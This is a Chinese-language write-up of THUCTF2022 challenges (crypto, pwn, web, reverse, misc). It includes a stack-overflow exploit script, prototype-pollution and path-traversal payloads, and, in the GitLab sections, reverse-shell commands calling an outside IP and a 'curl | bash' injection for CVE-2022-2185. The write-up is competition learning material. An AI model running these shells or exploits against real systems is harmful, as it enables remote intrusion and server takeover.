THUCTF2022-writeup
🔗

THUCTF2022-writeup

时间
Oct 10, 2022 08:45 AM
Tags
notes
Brief Info
CTF初尝试

Misc

永不停歇的 Flag 生产机

看 Flag 的时候突然发现存在上下连续变动的字符,有固定不变的,有固定加一的,想到可能可以通过作差看出一些信息。把连续的几个 Flag 作差之后发现每六位的差是相同的,且是一个循环自增 1 的六位数,那么就只需要知道当前的时间,就可以递推出最终结束的时间。
因为怕时间戳在不同机器存在偏差,我查看了结尾的 30 个 Flag ,顺利找到了有正确含义的那个。
代码如下:
chars = '0 1 2 3 4 5 6 7 8 9 + / A B C D E F G H I J K L M N O P Q R S T U V W X Y Z a b c d e f g h i j k l m n o p q r s t u v w x y z'.split(" ")

input_flag_0 = 'JMzoCvqWxr7lml7IXuG/KIXuYFCFvBLqGorq3W/SQe8QrnCgnYGO'
input_flag_1 = 'PO5xFzwY30+psnBRayMBQRayeHIOyFRsMxuu9YFbTiCSxwFktaMX'
flag_dis = ''
timestamp = 1664604540
end_timestamp = 1664625600
last_time = end_timestamp - timestamp + 10

for i in range(6):
    distance = chars.index(input_flag_1[i]) - chars.index(input_flag_0[i])
    if distance < 0:
        distance += len(chars)
    flag_dis += str(distance)

flag_dis = int(flag_dis)
print(flag_dis)

def increase(flag: str):
    new_flag = ''
    for i in range(len(flag)):
        cur_char_index = chars.index(flag[i])
        increase_number = int(str(flag_dis)[i % 6])
        new_flag += chars[(cur_char_index + increase_number) % len(chars)]
    return new_flag

flag = input_flag_0

while (last_time):
    last_time -= 1
    flag = increase(flag)
    if (last_time < 30):
        print(flag)
    flag_dis += 1
 

Treasure Hunter

虽然后来 NanoApe 告知我 JPG 中可以看到地点的精确位置,但是做题的时候并不知道。所以只知道桃李、理科楼、主楼的情况下,大致定位在了听涛附近(拜托,如果没有提醒和比赛相关的话,真的会只关注附近建筑而不会去学堂路上找…)。圆心找了半天没找到,又去找了内心和垂心,在 NanoApe 的不懈努力提醒下终于想到了学堂路的某个牌子。
这题是和室友一起去找的,过程中没有共享 flag 和非公开的 hint ,应该可视为两个独立个体吧…(一个人找也太无聊了,要不要考虑搞点组队比赛什么的)希望没有违反一些比赛条例。
 

Treasure Hunter Plus Plus

检索时发现 Wiki 上居然有人整理了很多清华的纪念物 https://zh.wikipedia.org/wiki/清华大学校友纪念物 并且通过图片中的文字检索可以定位到大部分的图片如下:
三一八断碑:1926年即为民国15年
C楼三十而立:三十而立
所以最后只剩钟、木兰松、太阳创新没找到。进入实例检查元素发现图片存在对应关系,顺序点击即可。于是其它几个不清楚的直接枚举尝试。
 

Treasure Hunter Plus Plus Plus

携手在胜因院,天大广场在新清华学堂,三一八断碑在大礼堂旁边,土建系暖四班在六教旁边,零零阁记在零零阁(荷塘),三十而立在C楼,钟在汽车工程系,木兰松在校河边上,太阳创新在主楼。拍照即可。
 

flagmarket_level1

首先是计算 sha 碰撞的代码
from hashlib import sha256
from Crypto.Util.number import inverse, long_to_bytes, bytes_to_long, getStrongPrime as getPrime
from collections import defaultdict
import signal
import random
import string
from os import urandom

ALL_POSSIBLE_CHAR = string.ascii_letters + string.digits + '!#$%&*-?'

def main():
    sha_input = input("sha_input_left: ")
    sha_output = input("sha_output: ")
    for i_0 in range(len(ALL_POSSIBLE_CHAR)):
        for i_1 in range(len(ALL_POSSIBLE_CHAR)):
            for i_2 in range(len(ALL_POSSIBLE_CHAR)):
                for i_3 in range(len(ALL_POSSIBLE_CHAR)):
                    test_output = sha256((ALL_POSSIBLE_CHAR[i_0] + ALL_POSSIBLE_CHAR[i_1] + ALL_POSSIBLE_CHAR[i_2] + ALL_POSSIBLE_CHAR[i_3] + sha_input).encode()).hexdigest()
                    if (test_output == sha_output):
                        print(ALL_POSSIBLE_CHAR[i_0] + ALL_POSSIBLE_CHAR[i_1] + ALL_POSSIBLE_CHAR[i_2] + ALL_POSSIBLE_CHAR[i_3])
                        return

if __name__ == "__main__":
    main()
之后通过读代码发现只需要从 admin 处买到 flag 并且 view 即可,发现可以自己设置商品价格并且可以设置为负数,于是只需要用户 A 设置一个商品价格为很小的负数,用户 B 买了之后即可获得超过 flag 价值的财富,买下 flag 即可。
 

小可莉能有什么坏心思呢?

通过 ppt 打开三张图片,通过调节亮度、对比度、反色等操作可以看出六个字母对应的 word 。分别是:
A = chtg
B = zjsv
C = kfdb
D = etmv
E = dcps
F = rqqy
p.s. 一开始我以为需要通过不同图片的叠加才能得到对应字母,后来发现每张图片仅包含两组字母…好吧高估这道题了
 

Crypto

babypoly

一开始完全没有头绪(没学过太多密码学…),在提示到 Polynomial 之后成功检索到关键词伽罗瓦域,并从https://www.zhihu.com/question/22072020/answer/2261946934这个链接中学到了相关的数学原理,立刻就明白了这部分代码具体在做的事情。
poly=0x39d00014db98d3d622da8ba5f038168ec301672927509f6c38fcb9f32925a29ef6d58d698721b86ce270dcfcb908a6aeb0f455b4f4de098d9c8149522db2ec74a440f9fdb4b75ec4981d07cc247d72b61be4be4dd36659fc7dbddc4b38f9af632f14a87770180d32982905ef0334d80e8bccf7bea2f0cc81da95652c97aec99a8696597494ed824d5ce54b160f8315aa4ea180aba30993e3de3406f07a359f1b52720eff9d4de57f3235fbe73aea509f30e6bd29deccd45c68b906177904822430333f19ec289f8e8f4aac926c3a662089e981d9695e0657f241db64ca63956797f6dd6767042ec68e8fe2da0e9f4b3e2d06617a33a3bb1e310c92f83f226b490f395ceb646b92e7b75226413d973ac5c0235964b4d0936390f8ef4153eceed4fa1
e=115792089237316195423570985008687907853269984665640564039457584007913129640233

def operator(x, y):
    r = 0
    for b in range(bits - 1, -1, -1):
        r <<= 1
        if y & (1 << b):
            r ^= x
        if r & (1 << bits): # 这部分困扰了很久,因为不知道何时会异或上poly,以及异或之后是什么状态
            r ^= (1 << bits) | poly
    return r, poly_pos

def magic(p, n):
    res = 1
    while n > 0:
        res, pos = operator(res, p)
        n -= 1
    return res
在未接触到这类知识的时候,我对于题目中的位移操作毫无头绪,我只知道e是个质数,但不知道为什么这样设计,以及poly是否有实际含义(事实上,它有)。所以也无法缩小问题规模进行模拟寻找规律。
不过在上,这个操作就变得很自然了,实际上 r ^= (1 << bits) | poly 只是每一步在取模。而上面的不断位移异或的操作只不过是x乘上了y(将x和y均视为多项式)。所以这个magic的结果就是
字母大写是表示它是一个多项式而不是值。可以看出它是一个RSA加密的过程,已知 n, e 的情况下求 d 。但是由于是在域上,多项式分解并不会非常耗时(否则也不会只给 n, e 就求 d ),使用 sagemath 分解成两个多项式的乘积,在伽罗瓦域上也成立,而 P 和 Q 均为质多项式,所以 ,这就求出了,之后求 e 的逆元 d 并且求 即可解密。
具体代码参考了以下几篇博客,都是类似的题型,不是特别会用 sagemath 就只能先学着写。
 
p.s. wsl2 安装 sagemath 的时候遇到了一些难以解决的网络问题…为了良好体验建议直接使用 docker 安装。
 

flagmarket_level2

一开始看到在 crypto 的分类里,以为这道题是一道标准的 RSA 的题目,就去检索了如何在已知若干明文和密文对的情况下推出明文。但给的信息实在有限。后来发现 setprice 并没有对 price 做检测,想到可能可以 setprice 为一个负数,然后完成和之前一样的操作。但是 setprice 需要对 sig 进行验证。在仔细看了所有的 print 之后发现 sell 被写成 “5311” ,而 sign 的过程又是把两个字符串简单拼接之后加密,那么只要将用户名改为 1-11111111111111111 之后 sell 就可以打出用户名为 1 价格为 -111111111111111115311 所需的 sig 。之后另一个用户购买这个价格为负的商品,即可购买到 flag 。
 

Pwn

babystack_level0

EDA Pro 打开后发现主要部分是读入一个固定长度(112)的字符串,并且没有金丝雀,所以只需要超出这个范围(加上8字节栈指针),即可覆盖返回地址,返回到 backdoor 即可。
代码如下:
from pwn import *

# sh = process('./attachment/babystack_level0')
sh = remote('nc.thuctf.redbud.info', 31963)
buf2_addr = 0x004006C7
sh.sendline(b'A' * 120 + p64(buf2_addr))
sh.interactive()
 

Web

What is $? - flag1

这题主要部分在于如何绕过那个 md5 。在网上搜索后发现php在处理哈希字符串的时候把每一个以0e开头并且后面字符均为纯数字的哈希值都解析为0,于是选择一个以 a 结尾的和任意另一个为 salt 和 pass ,即可通过。
过程截图:
notion image
 

结、枷锁 - flag1

首先发现图片 url 为 http://nc.thuctf.redbud.info:32089/static?file=1.jpg ,之后随便改改删掉了 file=1.jpg 发现报错,其中一行为 /app/app.js ,于是发现 http://nc.thuctf.redbud.info:32089/static?file=../app.js 可以获得网页源码。之后发现 flag 需要 req.session.i_can_get_flag ,而根据提示可以进行 prototype 攻击,在 /dashboard 里发现了 merge 函数,所以整体思路就是通过向 /dashboard post 请求来运行 _.merge(req.session.bullshits, req.body) 而在 body 中构造 {"__proto__": {"i_can_get_flag": true}} 即可。
 

baby_gitlab

首先通过 /help 下的 What’s new 找到了版本是13.9,之后 google 到这个版本有重大漏洞可以直接进到 gitlab 的服务器,于是跟着下面这篇博客的操作完成了攻击。
用到的工具为:
不过登进去之后找了半天没找到flag在哪儿,问了出题人才知道在服务器的根目录下…好吧,和我想得不太一样
使用的指令为:
echo 'bash -i >& /dev/tcp/xx.xx.xx.xx/xxxx 0>&1' > /tmp/1.sh; chmod +x /tmp/1.sh; /bin/bash /tmp/1.sh
 
xHfbwExmhmEZb2W1zJ8
bash -i >& /dev/tcp/47.93.21.175/10010 0>&1
nc -lvvnp 10010
 

easy_gitlab

首先注册登录后发现版本为15.1.0,查到漏洞 CVE-2022-2185 可以入侵。之后检索到一个论坛以及一个仓库,两种方法我都进行了尝试。大致思路就是通过伪造一个假的 gitlab ,在被攻击的 gitlab 向假的 gitlab 发出 import group 指令的时候,在返回的结果里面插入攻击指令(我使用的是 curl http://xx.xx.xx.xx|bash;# 并且在我的攻击机主页上部署了一个侵入脚本)
在执行完论坛方法、并且又用这个仓库提供的代码进行了攻击之后十分钟,我发现攻击机上监听的端口打开了目标机器的终端。但是因为两种方法前后执行,并不清楚是哪一个起了作用…(事实上前几次尝试都没成功,快放弃的时候看了一眼发现成了)
 

Reverse

encrypt_level1

pyc 还原为 python 工具:https://www.toolnb.com/tools/pyc.html
还原之后发现直接异或可以得到答案, flag = A ^ B
 

encrypt_level2

通过 IDA pro 反编译。但我不会在 IDA pro 里面直接 debug ,所以我把它复制到了 vscode 里面重新编译。可以看到 main 的主体结构就是首先确认输入为 19 个 byte,之后对每个 byte 进行一些异或操作。那么这就非常轻松可以复原了。逆向的代码如下:
// # include <string.h>
#include <iostream>
#include <string>
using namespace std;

#include "head.h"
int main(int argc, const char **argv) {
    char *v3;         // rax
    int v4;           // ecx
    unsigned int v5;  // edx
    long long v6;     // rax
    int v7;           // eax
    int v8;           // edx
    int v9;           // edx
    int v10;          // eax
    int v11;          // edx
    int v12;          // eax
    long long v13;    // rax
    int v14;          // edx
    int v15;          // ecx

    int enc[] = {0x0A5, 0x70, 0x0B2, 0x2C, 0x24, 0x0F5, 0x80, 0x2, 0x97, 0x16, 0x4F, 0x98, 0x0E, 0x0A2, 0x26, 0x1B, 0x3};
    int seed[] = {0x0F1, 0x0C9, 0x0DE, 0x8A, 0x1C, 0x0C7, 0x4D, 0x9D, 0x94, 0x0DC, 0x59, 0x83, 0x0C8, 0x0F1, 0x0DD, 0x78, 0x3};
    char* flag = new char[19];

    //   __printf_chk(1LL, "Input your flag: ", envp);
    // __isoc99_scanf("%s", flag);
    scanf("%s", flag);
    v3 = flag;
    do {
        v4 = *(_DWORD *)v3;
        v3 += 4;
        v5 = ~v4 & (v4 - 16843009) & 0x80808080;
    } while (!v5);
    if ((~v4 & (v4 - 16843009) & 0x8080) == 0)
        v5 >>= 16;
    if ((~v4 & (v4 - 16843009) & 0x8080) == 0)
        v3 += 2;
    v6 = &v3[-__CFADD__((_BYTE)v5, (_BYTE)v5) - 3] - flag;
    if (v6 && (unsigned int)(v6 - 1) > 0xE && (unsigned int)(v6 - 17) > 1) {
        // flag[0] ^= LOBYTE(seed[0]);
        flag[0] = enc[0] ^ LOBYTE(seed[0]);
        // flag[1] ^= LOBYTE(seed[1]) ^ LOBYTE(seed[0]);
        flag[1] = enc[1] ^ LOBYTE(seed[1]) ^ LOBYTE(seed[0]);
        seed[1] ^= seed[0];
        // flag[2] ^= LOBYTE(seed[2]) ^ LOBYTE(seed[1]) ^ 1;
        flag[2] = enc[2] ^ LOBYTE(seed[2]) ^ LOBYTE(seed[1]) ^ 1;
        seed[2] ^= seed[1] ^ 1;
        // flag[3] ^= LOBYTE(seed[3]) ^ LOBYTE(seed[2]) ^ 2;
        flag[3] = enc[3] ^ LOBYTE(seed[3]) ^ LOBYTE(seed[2]) ^ 2;
        seed[3] ^= seed[2] ^ 2;
        // flag[4] ^= LOBYTE(seed[4]) ^ LOBYTE(seed[3]) ^ 3;
        flag[4] = enc[4] ^ LOBYTE(seed[4]) ^ LOBYTE(seed[3]) ^ 3;
        seed[4] ^= seed[3] ^ 3;
        // flag[5] ^= LOBYTE(seed[5]) ^ LOBYTE(seed[4]) ^ 4;
        flag[5] = enc[5] ^ LOBYTE(seed[5]) ^ LOBYTE(seed[4]) ^ 4;
        seed[5] ^= seed[4] ^ 4;
        // flag[6] ^= LOBYTE(seed[6]) ^ LOBYTE(seed[5]) ^ 5;
        flag[6] = enc[6] ^ LOBYTE(seed[6]) ^ LOBYTE(seed[5]) ^ 5;
        seed[6] ^= seed[5] ^ 5;
        // flag[7] ^= LOBYTE(seed[7]) ^ LOBYTE(seed[6]) ^ 6;
        flag[7] = enc[7] ^ LOBYTE(seed[7]) ^ LOBYTE(seed[6]) ^ 6;
        seed[7] ^= seed[6] ^ 6;
        seed[8] ^= seed[7] ^ 7;
        v7 = seed[9] ^ seed[8] ^ 8;
        // flag[8] ^= LOBYTE(seed[8]);
        flag[8] = enc[8] ^ LOBYTE(seed[8]);
        // flag[9] ^= v7;
        flag[9] = enc[9] ^ v7;
        v8 = seed[10] ^ v7 ^ 9;
        seed[9] = v7;
        // flag[10] ^= v8;
        flag[10] = enc[10] ^ v8;
        seed[10] = v8;
        seed[11] ^= v8 ^ 0xA;
        v9 = seed[12] ^ seed[11] ^ 0xB;
        // flag[11] ^= LOBYTE(seed[11]);
        flag[11] = enc[11] ^ LOBYTE(seed[11]);
        // flag[12] ^= v9;
        flag[12] = enc[12] ^ v9;
        v10 = seed[13] ^ v9 ^ 0xC;
        seed[12] = v9;
        // flag[13] ^= v10;
        flag[13] = enc[13] ^ v10;
        v11 = seed[14] ^ v10 ^ 0xD;
        seed[13] = v10;
        // flag[14] ^= v11;
        flag[14] = enc[14] ^ v11;
        v12 = seed[15] ^ v11 ^ 0xE;
        seed[14] = v11;
        // flag[15] ^= v12;
        flag[15] = enc[15] ^ v12;
        seed[16] ^= v12 ^ 0xF;
        seed[15] = v12;
        v13 = 0LL;
        while (1) {
            // v14 = flag[v13];
            // v15 = enc[v13];
            // if (v14 != v15 && v15 != v14 + 256)
            //     break;
            printf("%c", flag[v13]);
            if (++v13 == 16) {
                puts("Right!");
                return 0;
            }
        }
    }
    puts("Wrong!");
    return 0;
}
 

Mobile

checkin

注册登录 discord 在标题栏发现 flag 。
 

survey

认真回答问卷即可。
 

test your nc

nc 连接后即可。
 

PPC

人間観察バラエティ

没认真写…只是简单分析了一下随便选了几个,理论上可以写一个脚本不停更新自己的选择…哎懒了

Loading Comments...